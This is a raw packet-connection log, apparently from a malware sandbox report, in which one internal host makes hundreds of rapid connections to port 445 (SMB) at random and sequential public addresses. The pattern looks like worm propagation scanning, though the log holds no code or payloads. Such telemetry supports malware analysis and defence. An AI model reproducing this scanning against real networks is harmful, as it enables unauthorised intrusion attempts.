Dec 22, 2022 10:05:39.853355885 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:39.880486012 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:39.881480932 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:39.881505013 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:39.896915913 CET	445	54159	36.55.240.253	192.168.2.6
Dec 22, 2022 10:05:40.006843090 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.006953955 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.017208099 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:40.087213993 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:40.087255955 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.087658882 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.089060068 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:40.089092970 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.089117050 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:40.089128017 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.089186907 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:40.089194059 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.124746084 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.124869108 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.125266075 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:40.125302076 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.125344038 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:40.125353098 CET	443	54184	20.90.156.32	192.168.2.6
Dec 22, 2022 10:05:40.125617981 CET	54184	443	192.168.2.6	20.90.156.32
Dec 22, 2022 10:05:40.422938108 CET	54159	445	192.168.2.6	36.55.240.253
Dec 22, 2022 10:05:40.688169956 CET	54190	445	192.168.2.6	138.161.76.23
Dec 22, 2022 10:05:40.689913988 CET	54191	445	192.168.2.6	37.207.178.249
Dec 22, 2022 10:05:40.689919949 CET	54193	445	192.168.2.6	4.182.174.24
Dec 22, 2022 10:05:40.690588951 CET	54205	445	192.168.2.6	76.31.165.135
Dec 22, 2022 10:05:40.691046000 CET	54206	445	192.168.2.6	72.78.247.189
Dec 22, 2022 10:05:40.691520929 CET	54207	445	192.168.2.6	177.191.82.78
Dec 22, 2022 10:05:40.691967010 CET	54208	445	192.168.2.6	151.5.218.162
Dec 22, 2022 10:05:40.716836929 CET	445	54159	36.55.240.253	192.168.2.6
Dec 22, 2022 10:05:40.769319057 CET	54209	445	192.168.2.6	4.50.58.233
Dec 22, 2022 10:05:40.769494057 CET	54210	445	192.168.2.6	20.110.222.239
Dec 22, 2022 10:05:40.769830942 CET	54213	445	192.168.2.6	176.88.193.50
Dec 22, 2022 10:05:40.770004988 CET	54215	445	192.168.2.6	180.71.83.50
Dec 22, 2022 10:05:40.770379066 CET	54219	445	192.168.2.6	47.72.123.185
Dec 22, 2022 10:05:40.770555019 CET	54220	445	192.168.2.6	119.189.125.98
Dec 22, 2022 10:05:40.771064043 CET	54226	445	192.168.2.6	143.127.219.60
Dec 22, 2022 10:05:40.771403074 CET	54230	445	192.168.2.6	89.179.122.203
Dec 22, 2022 10:05:40.771904945 CET	54231	445	192.168.2.6	219.39.194.5
Dec 22, 2022 10:05:40.772094011 CET	54232	445	192.168.2.6	205.188.8.221
Dec 22, 2022 10:05:40.772213936 CET	54233	445	192.168.2.6	168.112.176.110
Dec 22, 2022 10:05:40.772360086 CET	54234	445	192.168.2.6	66.139.225.100
Dec 22, 2022 10:05:40.772463083 CET	54235	445	192.168.2.6	94.83.224.43
Dec 22, 2022 10:05:40.772680998 CET	54237	445	192.168.2.6	178.2.42.83
Dec 22, 2022 10:05:40.772794962 CET	54238	445	192.168.2.6	187.47.246.2
Dec 22, 2022 10:05:40.772880077 CET	54239	445	192.168.2.6	87.77.28.186
Dec 22, 2022 10:05:40.773008108 CET	54240	445	192.168.2.6	112.115.163.93
Dec 22, 2022 10:05:40.773241043 CET	54242	445	192.168.2.6	128.49.222.182
Dec 22, 2022 10:05:40.773411989 CET	54244	445	192.168.2.6	72.208.27.60
Dec 22, 2022 10:05:40.773507118 CET	54245	445	192.168.2.6	84.51.159.149
Dec 22, 2022 10:05:40.773725986 CET	54247	445	192.168.2.6	23.244.177.123
Dec 22, 2022 10:05:40.773843050 CET	54248	445	192.168.2.6	67.10.237.186
Dec 22, 2022 10:05:40.774013996 CET	54250	445	192.168.2.6	208.202.40.18
Dec 22, 2022 10:05:41.802104950 CET	54257	445	192.168.2.6	91.186.76.190
Dec 22, 2022 10:05:41.824781895 CET	54259	445	192.168.2.6	166.150.53.64
Dec 22, 2022 10:05:41.824949980 CET	54261	445	192.168.2.6	81.88.54.89
Dec 22, 2022 10:05:41.827186108 CET	54273	445	192.168.2.6	143.108.38.232
Dec 22, 2022 10:05:41.827244997 CET	54274	445	192.168.2.6	58.242.194.148
Dec 22, 2022 10:05:41.827337027 CET	54276	445	192.168.2.6	53.52.184.138
Dec 22, 2022 10:05:41.827339888 CET	54275	445	192.168.2.6	41.250.139.143
Dec 22, 2022 10:05:41.888223886 CET	54277	445	192.168.2.6	23.245.253.17
Dec 22, 2022 10:05:41.888339043 CET	54278	445	192.168.2.6	55.126.126.144
Dec 22, 2022 10:05:41.888391018 CET	54279	445	192.168.2.6	158.43.43.235
Dec 22, 2022 10:05:41.888494015 CET	54281	445	192.168.2.6	26.249.75.117
Dec 22, 2022 10:05:41.888731003 CET	54287	445	192.168.2.6	209.168.79.83
Dec 22, 2022 10:05:41.902514935 CET	54288	445	192.168.2.6	38.247.142.153
Dec 22, 2022 10:05:41.902806997 CET	54294	445	192.168.2.6	170.208.67.40
Dec 22, 2022 10:05:41.902939081 CET	54297	445	192.168.2.6	69.66.87.19
Dec 22, 2022 10:05:41.903053045 CET	54299	445	192.168.2.6	213.174.219.130
Dec 22, 2022 10:05:41.903158903 CET	54300	445	192.168.2.6	178.236.15.71
Dec 22, 2022 10:05:41.903295994 CET	54301	445	192.168.2.6	101.186.27.132
Dec 22, 2022 10:05:41.903384924 CET	54303	445	192.168.2.6	64.193.178.77
Dec 22, 2022 10:05:41.903398037 CET	54302	445	192.168.2.6	146.123.151.169
Dec 22, 2022 10:05:41.903553963 CET	54305	445	192.168.2.6	75.98.249.12
Dec 22, 2022 10:05:41.903573036 CET	54306	445	192.168.2.6	84.137.149.228
Dec 22, 2022 10:05:41.903701067 CET	54307	445	192.168.2.6	173.165.3.179
Dec 22, 2022 10:05:41.903707027 CET	54308	445	192.168.2.6	169.3.148.199
Dec 22, 2022 10:05:41.903805971 CET	54310	445	192.168.2.6	146.55.82.81
Dec 22, 2022 10:05:41.903914928 CET	54312	445	192.168.2.6	108.103.103.198
Dec 22, 2022 10:05:41.903928995 CET	54313	445	192.168.2.6	173.244.102.190
Dec 22, 2022 10:05:41.904036999 CET	54315	445	192.168.2.6	110.210.116.48
Dec 22, 2022 10:05:41.904125929 CET	54316	445	192.168.2.6	150.179.87.215
Dec 22, 2022 10:05:41.904211998 CET	54318	445	192.168.2.6	103.187.110.48
Dec 22, 2022 10:05:41.956370115 CET	54319	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:42.055114985 CET	445	54319	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:42.055283070 CET	54319	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:42.055375099 CET	54319	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:42.155169964 CET	445	54319	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:42.163119078 CET	445	54319	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:42.168072939 CET	54319	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:42.271106005 CET	445	54319	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:42.297005892 CET	54319	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:42.399245024 CET	445	54319	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:42.399682999 CET	54319	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:42.499320984 CET	445	54319	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:42.500638008 CET	54319	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:42.569127083 CET	54325	445	192.168.2.6	176.210.131.49
Dec 22, 2022 10:05:42.603233099 CET	445	54319	176.210.131.48	192.168.2.6
Dec 22, 2022 10:05:42.604669094 CET	54319	445	192.168.2.6	176.210.131.48
Dec 22, 2022 10:05:42.916659117 CET	54329	445	192.168.2.6	121.233.156.142
Dec 22, 2022 10:05:42.953824043 CET	54331	445	192.168.2.6	219.177.4.104
Dec 22, 2022 10:05:42.954209089 CET	54334	445	192.168.2.6	172.215.217.27
Dec 22, 2022 10:05:42.956213951 CET	54344	445	192.168.2.6	96.48.195.198
Dec 22, 2022 10:05:42.956331968 CET	54345	445	192.168.2.6	4.202.36.111
Dec 22, 2022 10:05:42.956382990 CET	54346	445	192.168.2.6	8.196.213.193
Dec 22, 2022 10:05:42.956443071 CET	54347	445	192.168.2.6	205.186.127.60
Dec 22, 2022 10:05:43.016751051 CET	54348	445	192.168.2.6	128.157.252.84
Dec 22, 2022 10:05:43.016927004 CET	54349	445	192.168.2.6	172.2.120.18
Dec 22, 2022 10:05:43.018718958 CET	54355	445	192.168.2.6	150.7.166.121
Dec 22, 2022 10:05:43.030428886 CET	54356	445	192.168.2.6	42.218.47.210
Dec 22, 2022 10:05:43.030565023 CET	54357	445	192.168.2.6	195.35.39.175
Dec 22, 2022 10:05:43.038733006 CET	54361	445	192.168.2.6	44.129.155.217
Dec 22, 2022 10:05:43.039233923 CET	54365	445	192.168.2.6	89.211.201.73
Dec 22, 2022 10:05:43.039767981 CET	54369	445	192.168.2.6	52.129.82.219
Dec 22, 2022 10:05:43.039920092 CET	54370	445	192.168.2.6	167.83.231.21
Dec 22, 2022 10:05:43.040056944 CET	54371	445	192.168.2.6	59.118.14.173
Dec 22, 2022 10:05:43.040180922 CET	54372	445	192.168.2.6	168.36.162.133
Dec 22, 2022 10:05:43.040846109 CET	54373	445	192.168.2.6	50.94.39.187
Dec 22, 2022 10:05:43.041083097 CET	54374	445	192.168.2.6	80.91.182.51
Dec 22, 2022 10:05:43.041354895 CET	54376	445	192.168.2.6	63.117.123.138
Dec 22, 2022 10:05:43.041487932 CET	54377	445	192.168.2.6	69.179.83.78
Dec 22, 2022 10:05:43.041635036 CET	54378	445	192.168.2.6	54.232.187.136
Dec 22, 2022 10:05:43.041903973 CET	54379	445	192.168.2.6	71.180.91.102
Dec 22, 2022 10:05:43.042112112 CET	54381	445	192.168.2.6	116.228.198.32
Dec 22, 2022 10:05:43.042258978 CET	54384	445	192.168.2.6	19.24.174.62
Dec 22, 2022 10:05:43.042263031 CET	54383	445	192.168.2.6	161.207.209.84
Dec 22, 2022 10:05:43.042426109 CET	54386	445	192.168.2.6	205.74.140.190
Dec 22, 2022 10:05:43.042557001 CET	54388	445	192.168.2.6	189.190.150.68
Dec 22, 2022 10:05:43.042637110 CET	54389	445	192.168.2.6	65.149.90.138
Dec 22, 2022 10:05:43.053807020 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:43.647047997 CET	54395	445	192.168.2.6	176.210.131.50
Dec 22, 2022 10:05:44.058932066 CET	54399	445	192.168.2.6	33.35.113.248
Dec 22, 2022 10:05:44.073016882 CET	54401	445	192.168.2.6	165.241.102.137
Dec 22, 2022 10:05:44.081671953 CET	54413	445	192.168.2.6	177.45.129.139
Dec 22, 2022 10:05:44.082823038 CET	54414	445	192.168.2.6	6.121.57.10
Dec 22, 2022 10:05:44.082874060 CET	54415	445	192.168.2.6	63.217.172.139
Dec 22, 2022 10:05:44.082967997 CET	54416	445	192.168.2.6	96.107.57.181
Dec 22, 2022 10:05:44.082969904 CET	54417	445	192.168.2.6	148.172.79.249
Dec 22, 2022 10:05:44.144331932 CET	54418	445	192.168.2.6	53.129.77.203
Dec 22, 2022 10:05:44.144479036 CET	54419	445	192.168.2.6	8.211.138.178
Dec 22, 2022 10:05:44.177220106 CET	54427	445	192.168.2.6	17.91.71.50
Dec 22, 2022 10:05:44.177611113 CET	54430	445	192.168.2.6	39.148.88.159
Dec 22, 2022 10:05:44.178060055 CET	54434	445	192.168.2.6	7.111.225.96
Dec 22, 2022 10:05:44.178282022 CET	54436	445	192.168.2.6	222.100.177.53
Dec 22, 2022 10:05:44.178400993 CET	54437	445	192.168.2.6	71.209.44.151
Dec 22, 2022 10:05:44.179030895 CET	54438	445	192.168.2.6	90.46.189.9
Dec 22, 2022 10:05:44.179245949 CET	54439	445	192.168.2.6	175.206.67.80
Dec 22, 2022 10:05:44.179368973 CET	54440	445	192.168.2.6	24.27.21.233
Dec 22, 2022 10:05:44.179610014 CET	54442	445	192.168.2.6	191.99.216.160
Dec 22, 2022 10:05:44.179764986 CET	54443	445	192.168.2.6	181.54.3.37
Dec 22, 2022 10:05:44.179877996 CET	54444	445	192.168.2.6	67.140.33.213
Dec 22, 2022 10:05:44.179989100 CET	54445	445	192.168.2.6	205.179.43.25
Dec 22, 2022 10:05:44.180366039 CET	54448	445	192.168.2.6	215.230.176.213
Dec 22, 2022 10:05:44.180495977 CET	54449	445	192.168.2.6	134.6.178.0
Dec 22, 2022 10:05:44.180649996 CET	54450	445	192.168.2.6	56.106.107.13
Dec 22, 2022 10:05:44.180824041 CET	54451	445	192.168.2.6	19.77.83.119
Dec 22, 2022 10:05:44.181165934 CET	54454	445	192.168.2.6	108.237.138.230
Dec 22, 2022 10:05:44.181257010 CET	54455	445	192.168.2.6	118.213.32.244
Dec 22, 2022 10:05:44.181478977 CET	54457	445	192.168.2.6	182.196.17.241
Dec 22, 2022 10:05:44.181603909 CET	54458	445	192.168.2.6	187.223.95.188
Dec 22, 2022 10:05:44.181790113 CET	54459	445	192.168.2.6	135.2.143.240
Dec 22, 2022 10:05:44.706387043 CET	54465	445	192.168.2.6	176.210.131.51
Dec 22, 2022 10:05:45.176363945 CET	54470	445	192.168.2.6	57.53.230.74
Dec 22, 2022 10:05:45.202495098 CET	54471	445	192.168.2.6	41.162.131.16
Dec 22, 2022 10:05:45.203243971 CET	54472	445	192.168.2.6	28.205.151.176
Dec 22, 2022 10:05:45.204282999 CET	54485	445	192.168.2.6	36.80.134.171
Dec 22, 2022 10:05:45.204843998 CET	54473	445	192.168.2.6	143.59.82.254
Dec 22, 2022 10:05:45.205660105 CET	54488	445	192.168.2.6	36.98.99.119
Dec 22, 2022 10:05:45.207065105 CET	54487	445	192.168.2.6	33.163.119.21
Dec 22, 2022 10:05:45.261600971 CET	54494	445	192.168.2.6	216.76.250.83
Dec 22, 2022 10:05:45.261774063 CET	54495	445	192.168.2.6	104.91.151.179
Dec 22, 2022 10:05:45.303978920 CET	54496	445	192.168.2.6	59.183.62.34
Dec 22, 2022 10:05:45.304115057 CET	54497	445	192.168.2.6	212.139.8.59
Dec 22, 2022 10:05:45.304136992 CET	54498	445	192.168.2.6	158.131.3.7
Dec 22, 2022 10:05:45.304292917 CET	54499	445	192.168.2.6	80.200.150.97
Dec 22, 2022 10:05:45.304461956 CET	54501	445	192.168.2.6	63.118.50.127
Dec 22, 2022 10:05:45.304600954 CET	54504	445	192.168.2.6	70.169.25.133
Dec 22, 2022 10:05:45.304723978 CET	54505	445	192.168.2.6	95.112.227.104
Dec 22, 2022 10:05:45.304863930 CET	54506	445	192.168.2.6	39.243.115.151
Dec 22, 2022 10:05:45.304877043 CET	54507	445	192.168.2.6	105.173.64.154
Dec 22, 2022 10:05:45.305003881 CET	54510	445	192.168.2.6	76.41.254.250
Dec 22, 2022 10:05:45.305130959 CET	54512	445	192.168.2.6	62.42.132.10
Dec 22, 2022 10:05:45.305125952 CET	54511	445	192.168.2.6	28.24.178.198
Dec 22, 2022 10:05:45.305239916 CET	54513	445	192.168.2.6	93.102.91.247
Dec 22, 2022 10:05:45.305398941 CET	54515	445	192.168.2.6	39.1.95.99
Dec 22, 2022 10:05:45.305417061 CET	54516	445	192.168.2.6	151.99.181.35
Dec 22, 2022 10:05:45.305589914 CET	54517	445	192.168.2.6	105.58.218.211
Dec 22, 2022 10:05:45.305747986 CET	54518	445	192.168.2.6	148.132.155.182
Dec 22, 2022 10:05:45.305953979 CET	54520	445	192.168.2.6	53.52.80.70
Dec 22, 2022 10:05:45.306139946 CET	54521	445	192.168.2.6	146.107.14.6
Dec 22, 2022 10:05:45.306365967 CET	54525	445	192.168.2.6	208.197.75.206
Dec 22, 2022 10:05:45.306526899 CET	54528	445	192.168.2.6	213.12.236.143
Dec 22, 2022 10:05:45.407792091 CET	445	54471	41.162.131.16	192.168.2.6
Dec 22, 2022 10:05:45.421230078 CET	445	54504	70.169.25.133	192.168.2.6
Dec 22, 2022 10:05:45.762331009 CET	54536	445	192.168.2.6	176.210.131.52
Dec 22, 2022 10:05:45.909178019 CET	54471	445	192.168.2.6	41.162.131.16
Dec 22, 2022 10:05:45.924815893 CET	54504	445	192.168.2.6	70.169.25.133
Dec 22, 2022 10:05:46.043169975 CET	445	54504	70.169.25.133	192.168.2.6
Dec 22, 2022 10:05:46.114885092 CET	445	54471	41.162.131.16	192.168.2.6
Dec 22, 2022 10:05:46.279676914 CET	54540	445	192.168.2.6	120.53.196.74
Dec 22, 2022 10:05:46.312014103 CET	54542	445	192.168.2.6	83.133.15.231
Dec 22, 2022 10:05:46.312611103 CET	54543	445	192.168.2.6	78.12.84.119
Dec 22, 2022 10:05:46.313178062 CET	54544	445	192.168.2.6	67.140.116.64
Dec 22, 2022 10:05:46.313522100 CET	54546	445	192.168.2.6	54.36.243.117
Dec 22, 2022 10:05:46.314982891 CET	54558	445	192.168.2.6	65.135.163.150
Dec 22, 2022 10:05:46.315834045 CET	54559	445	192.168.2.6	147.75.108.225
Dec 22, 2022 10:05:46.341290951 CET	445	54546	54.36.243.117	192.168.2.6
Dec 22, 2022 10:05:46.380841017 CET	54565	445	192.168.2.6	219.37.129.254
Dec 22, 2022 10:05:46.381094933 CET	54566	445	192.168.2.6	59.244.109.18
Dec 22, 2022 10:05:46.411117077 CET	54567	445	192.168.2.6	202.39.139.223
Dec 22, 2022 10:05:46.411272049 CET	54568	445	192.168.2.6	34.94.74.60
Dec 22, 2022 10:05:46.411382914 CET	54569	445	192.168.2.6	192.135.42.251
Dec 22, 2022 10:05:46.411593914 CET	54571	445	192.168.2.6	85.91.244.55
Dec 22, 2022 10:05:46.411731005 CET	54573	445	192.168.2.6	25.104.210.44
Dec 22, 2022 10:05:46.411896944 CET	54575	445	192.168.2.6	55.139.112.62
Dec 22, 2022 10:05:46.411977053 CET	54576	445	192.168.2.6	190.79.106.38
Dec 22, 2022 10:05:46.412076950 CET	54577	445	192.168.2.6	52.169.218.29
Dec 22, 2022 10:05:46.412195921 CET	54578	445	192.168.2.6	185.88.230.7
Dec 22, 2022 10:05:46.412420034 CET	54581	445	192.168.2.6	145.30.183.153
Dec 22, 2022 10:05:46.412512064 CET	54582	445	192.168.2.6	134.185.247.227
Dec 22, 2022 10:05:46.412594080 CET	54583	445	192.168.2.6	213.12.228.234
Dec 22, 2022 10:05:46.412688017 CET	54584	445	192.168.2.6	163.208.191.195
Dec 22, 2022 10:05:46.412859917 CET	54586	445	192.168.2.6	128.60.186.160
Dec 22, 2022 10:05:46.412942886 CET	54587	445	192.168.2.6	91.61.188.51
Dec 22, 2022 10:05:46.413023949 CET	54588	445	192.168.2.6	62.156.153.102
Dec 22, 2022 10:05:46.413104057 CET	54589	445	192.168.2.6	78.191.75.88
Dec 22, 2022 10:05:46.413273096 CET	54591	445	192.168.2.6	86.36.102.120
Dec 22, 2022 10:05:46.413980007 CET	54594	445	192.168.2.6	122.218.67.111
Dec 22, 2022 10:05:46.414557934 CET	54596	445	192.168.2.6	3.226.198.225
Dec 22, 2022 10:05:46.414998055 CET	54599	445	192.168.2.6	191.222.187.55
Dec 22, 2022 10:05:46.690035105 CET	445	54565	219.37.129.254	192.168.2.6
Dec 22, 2022 10:05:46.897700071 CET	54607	445	192.168.2.6	176.210.131.53
Dec 22, 2022 10:05:47.055033922 CET	54546	445	192.168.2.6	54.36.243.117
Dec 22, 2022 10:05:47.083081007 CET	445	54546	54.36.243.117	192.168.2.6
Dec 22, 2022 10:05:47.202383995 CET	54565	445	192.168.2.6	219.37.129.254
Dec 22, 2022 10:05:47.387578011 CET	54613	445	192.168.2.6	156.36.155.140
Dec 22, 2022 10:05:47.428064108 CET	54615	445	192.168.2.6	114.220.222.97
Dec 22, 2022 10:05:47.428402901 CET	54616	445	192.168.2.6	202.181.85.202
Dec 22, 2022 10:05:47.435244083 CET	54618	445	192.168.2.6	40.236.165.159
Dec 22, 2022 10:05:47.435885906 CET	54617	445	192.168.2.6	184.155.77.45
Dec 22, 2022 10:05:47.436727047 CET	54630	445	192.168.2.6	115.44.101.36
Dec 22, 2022 10:05:47.436785936 CET	54631	445	192.168.2.6	79.70.59.247
Dec 22, 2022 10:05:47.485136032 CET	445	54565	219.37.129.254	192.168.2.6
Dec 22, 2022 10:05:47.497725964 CET	54632	445	192.168.2.6	132.156.210.93
Dec 22, 2022 10:05:47.497881889 CET	54633	445	192.168.2.6	37.120.107.46
Dec 22, 2022 10:05:47.528148890 CET	54641	445	192.168.2.6	200.75.151.9
Dec 22, 2022 10:05:47.528203011 CET	54643	445	192.168.2.6	177.246.94.238
Dec 22, 2022 10:05:47.528335094 CET	54645	445	192.168.2.6	217.209.69.178
Dec 22, 2022 10:05:47.528372049 CET	54646	445	192.168.2.6	218.97.60.99
Dec 22, 2022 10:05:47.528460979 CET	54647	445	192.168.2.6	192.115.120.148
Dec 22, 2022 10:05:47.528542995 CET	54648	445	192.168.2.6	69.80.76.89
Dec 22, 2022 10:05:47.528662920 CET	54650	445	192.168.2.6	157.185.126.53
Dec 22, 2022 10:05:47.528775930 CET	54652	445	192.168.2.6	50.42.172.208
Dec 22, 2022 10:05:47.528811932 CET	54653	445	192.168.2.6	172.16.107.155
Dec 22, 2022 10:05:47.528901100 CET	54654	445	192.168.2.6	175.111.191.136
Dec 22, 2022 10:05:47.529007912 CET	54656	445	192.168.2.6	181.148.155.110
Dec 22, 2022 10:05:47.529050112 CET	54657	445	192.168.2.6	117.205.142.134
Dec 22, 2022 10:05:47.529119968 CET	54658	445	192.168.2.6	149.79.126.28
Dec 22, 2022 10:05:47.529187918 CET	54659	445	192.168.2.6	198.5.80.120
Dec 22, 2022 10:05:47.529351950 CET	54661	445	192.168.2.6	202.247.200.64
Dec 22, 2022 10:05:47.529767990 CET	54665	445	192.168.2.6	131.73.197.78
Dec 22, 2022 10:05:47.530045986 CET	54669	445	192.168.2.6	181.235.224.173
Dec 22, 2022 10:05:47.530101061 CET	54667	445	192.168.2.6	65.244.120.239
Dec 22, 2022 10:05:47.530173063 CET	54670	445	192.168.2.6	198.88.41.234
Dec 22, 2022 10:05:47.530288935 CET	54672	445	192.168.2.6	200.84.20.51
Dec 22, 2022 10:05:47.530391932 CET	54673	445	192.168.2.6	157.1.20.114
Dec 22, 2022 10:05:47.610061884 CET	445	54647	192.115.120.148	192.168.2.6
Dec 22, 2022 10:05:47.977108002 CET	54679	445	192.168.2.6	176.210.131.54
Dec 22, 2022 10:05:48.121702909 CET	54647	445	192.168.2.6	192.115.120.148
Dec 22, 2022 10:05:48.513338089 CET	54685	445	192.168.2.6	132.30.145.202
Dec 22, 2022 10:05:48.545278072 CET	54686	445	192.168.2.6	9.16.20.204
Dec 22, 2022 10:05:48.546360016 CET	54688	445	192.168.2.6	98.202.28.74
Dec 22, 2022 10:05:48.560492992 CET	54690	445	192.168.2.6	65.30.185.213
Dec 22, 2022 10:05:48.560549974 CET	54691	445	192.168.2.6	28.251.115.246
Dec 22, 2022 10:05:48.561739922 CET	54702	445	192.168.2.6	173.22.45.108
Dec 22, 2022 10:05:48.561937094 CET	54703	445	192.168.2.6	1.188.3.250
Dec 22, 2022 10:05:48.622664928 CET	54704	445	192.168.2.6	173.185.111.176
Dec 22, 2022 10:05:48.622808933 CET	54705	445	192.168.2.6	159.160.134.95
Dec 22, 2022 10:05:48.652139902 CET	54711	445	192.168.2.6	208.131.48.166
Dec 22, 2022 10:05:48.652611017 CET	54715	445	192.168.2.6	131.134.185.52
Dec 22, 2022 10:05:48.653111935 CET	54718	445	192.168.2.6	18.136.96.177
Dec 22, 2022 10:05:48.653410912 CET	54720	445	192.168.2.6	188.112.18.116
Dec 22, 2022 10:05:48.653605938 CET	54721	445	192.168.2.6	156.97.174.89
Dec 22, 2022 10:05:48.653923035 CET	54723	445	192.168.2.6	179.94.154.213
Dec 22, 2022 10:05:48.654059887 CET	54724	445	192.168.2.6	157.212.82.135
Dec 22, 2022 10:05:48.654187918 CET	54725	445	192.168.2.6	152.250.245.222
Dec 22, 2022 10:05:48.654318094 CET	54726	445	192.168.2.6	29.167.138.247
Dec 22, 2022 10:05:48.654767036 CET	54729	445	192.168.2.6	69.5.114.53
Dec 22, 2022 10:05:48.654902935 CET	54730	445	192.168.2.6	188.220.28.45
Dec 22, 2022 10:05:48.655036926 CET	54731	445	192.168.2.6	53.67.88.186
Dec 22, 2022 10:05:48.655242920 CET	54732	445	192.168.2.6	206.68.124.129
Dec 22, 2022 10:05:48.655522108 CET	54734	445	192.168.2.6	6.198.238.117
Dec 22, 2022 10:05:48.655663013 CET	54735	445	192.168.2.6	187.117.176.249
Dec 22, 2022 10:05:48.656289101 CET	54739	445	192.168.2.6	50.156.144.136
Dec 22, 2022 10:05:48.656498909 CET	54740	445	192.168.2.6	84.54.126.19
Dec 22, 2022 10:05:48.656800985 CET	54742	445	192.168.2.6	57.239.114.251
Dec 22, 2022 10:05:48.657218933 CET	54743	445	192.168.2.6	51.250.87.238
Dec 22, 2022 10:05:48.658063889 CET	54745	445	192.168.2.6	165.105.78.94
Dec 22, 2022 10:05:48.711612940 CET	445	54743	51.250.87.238	192.168.2.6
Dec 22, 2022 10:05:48.949615955 CET	445	54735	187.117.176.249	192.168.2.6
Dec 22, 2022 10:05:49.053922892 CET	54752	445	192.168.2.6	176.210.131.55
Dec 22, 2022 10:05:49.215358973 CET	54743	445	192.168.2.6	51.250.87.238
Dec 22, 2022 10:05:49.270355940 CET	445	54743	51.250.87.238	192.168.2.6
Dec 22, 2022 10:05:49.449816942 CET	54735	445	192.168.2.6	187.117.176.249
Dec 22, 2022 10:05:49.633531094 CET	54758	445	192.168.2.6	139.85.35.32
Dec 22, 2022 10:05:49.655332088 CET	54760	445	192.168.2.6	78.239.191.221
Dec 22, 2022 10:05:49.655469894 CET	54761	445	192.168.2.6	68.150.48.119
Dec 22, 2022 10:05:49.684812069 CET	54762	445	192.168.2.6	89.206.203.131
Dec 22, 2022 10:05:49.685724020 CET	54764	445	192.168.2.6	94.161.215.91
Dec 22, 2022 10:05:49.686891079 CET	54775	445	192.168.2.6	19.67.124.235
Dec 22, 2022 10:05:49.687458992 CET	54776	445	192.168.2.6	4.128.14.40
Dec 22, 2022 10:05:49.747370005 CET	54777	445	192.168.2.6	23.64.233.156
Dec 22, 2022 10:05:49.747518063 CET	54778	445	192.168.2.6	36.239.46.248
Dec 22, 2022 10:05:49.749620914 CET	445	54735	187.117.176.249	192.168.2.6
Dec 22, 2022 10:05:49.762721062 CET	54784	445	192.168.2.6	89.89.91.248
Dec 22, 2022 10:05:49.762911081 CET	54785	445	192.168.2.6	130.16.228.232
Dec 22, 2022 10:05:49.763187885 CET	54788	445	192.168.2.6	200.150.155.237
Dec 22, 2022 10:05:49.763269901 CET	54790	445	192.168.2.6	83.77.214.59
Dec 22, 2022 10:05:49.763360977 CET	54791	445	192.168.2.6	92.16.76.236
Dec 22, 2022 10:05:49.763462067 CET	54793	445	192.168.2.6	215.69.15.37
Dec 22, 2022 10:05:49.763607025 CET	54795	445	192.168.2.6	121.24.138.204
Dec 22, 2022 10:05:49.763622999 CET	54794	445	192.168.2.6	46.121.65.208
Dec 22, 2022 10:05:49.763876915 CET	54799	445	192.168.2.6	212.202.88.20
Dec 22, 2022 10:05:49.763916016 CET	54800	445	192.168.2.6	131.253.218.46
Dec 22, 2022 10:05:49.763964891 CET	54801	445	192.168.2.6	28.101.167.138
Dec 22, 2022 10:05:49.763983011 CET	54797	445	192.168.2.6	95.12.103.69
Dec 22, 2022 10:05:49.764061928 CET	54803	445	192.168.2.6	161.158.80.155
Dec 22, 2022 10:05:49.764194012 CET	54804	445	192.168.2.6	193.243.99.114
Dec 22, 2022 10:05:49.764272928 CET	54806	445	192.168.2.6	205.216.116.102
Dec 22, 2022 10:05:49.764309883 CET	54805	445	192.168.2.6	18.80.65.66
Dec 22, 2022 10:05:49.764429092 CET	54808	445	192.168.2.6	25.228.106.139
Dec 22, 2022 10:05:49.764695883 CET	54813	445	192.168.2.6	134.54.193.2
Dec 22, 2022 10:05:49.764822006 CET	54814	445	192.168.2.6	49.119.86.2
Dec 22, 2022 10:05:49.765157938 CET	54816	445	192.168.2.6	104.193.81.198
Dec 22, 2022 10:05:49.765177965 CET	54817	445	192.168.2.6	159.231.146.31
Dec 22, 2022 10:05:50.154040098 CET	54825	445	192.168.2.6	176.210.131.56
Dec 22, 2022 10:05:50.755125046 CET	54832	445	192.168.2.6	8.15.63.98
